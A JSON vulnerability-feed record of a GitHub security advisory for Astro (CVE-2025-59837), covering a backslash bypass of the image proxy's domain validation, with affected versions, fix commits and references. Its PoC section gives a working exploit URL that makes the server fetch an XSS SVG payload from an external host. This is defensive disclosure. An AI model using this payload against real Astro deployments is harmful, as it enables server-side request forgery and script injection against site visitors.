{"id":"GHSA-qcpr-679q-rhm2","revision":"1b4cf9947aa445c8b98641a89a73fd35","records":[{"revision":"1b4cf9947aa445c8b98641a89a73fd35","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qcpr-679q-rhm2","aliases":["CVE-2025-59837"],"title":"Astro's bypass of image proxy domain validation leads to SSRF and potential XSS","description":"### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)","state":0,"publishedAt":"2025-10-28T17:45:04+00:00","modifiedAt":"2025-10-29T14:48:45+00:00","affected":[{"ecosystem":"npm","name":"astro","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.13.4"},{"kind":"fixed","version":"5.13.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2","https://nvd.nist.gov/vuln/detail/CVE-2025-59837","https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4","https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252","https://github.com/withastro/astro"],"sourceUrl":"https://github.com/advisories/GHSA-qcpr-679q-rhm2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qcpr-679q-rhm2","identifiers":["GHSA-qcpr-679q-rhm2","CVE-2025-59837"]},"retained":false,"historicalAffected":[]}],"coverage":[]}